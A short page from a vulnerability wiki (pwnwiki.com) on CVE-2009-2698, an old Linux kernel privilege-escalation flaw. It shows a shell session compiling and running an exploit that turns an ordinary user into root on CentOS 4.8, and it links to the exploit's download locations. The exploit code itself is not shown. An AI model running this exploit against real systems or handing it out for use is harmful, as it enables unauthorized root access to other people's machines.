Loading
◆◆0

CVE-2009-2698 Linux kernel before 2.6.19拒绝服务/特权提升漏洞

PWNWIK.COM==免费、自由、人人可编辑的漏洞库

,

INFO

# CVE-2009-2698
CVE-2009-2698 compiled for CentOS 4.8
> https://github.com/SecWiki/linux-kernel-exploits/tree/4dca098e7491efc83903494d7c00f24c843aae99/2009/CVE-2009-2698

# Detail

```
email protected ~$ id
uid=500(hacker) gid=500(hacker) groups=500(hacker) context=user_u:system_r:unconfined_t
email protected ~$ gcc 36108.c  -o exp
email protected ~$ ./exp
sh-3.00# id
uid=0(root) gid=0(root) groups=500(hacker) context=user_u:system_r:unconfined_t
sh-3.00# uname -an
Linux localhost.localdomain 2.6.9-89.EL #1 Mon Jun 22 12:19:40 EDT 2009 i686 i686 i386 GNU/Linux
sh-3.00# 
```

EXP

https://github.com/JustYoomoon/Exploit/blob/main/CVE-2009-2698.zip

pwnwiki.com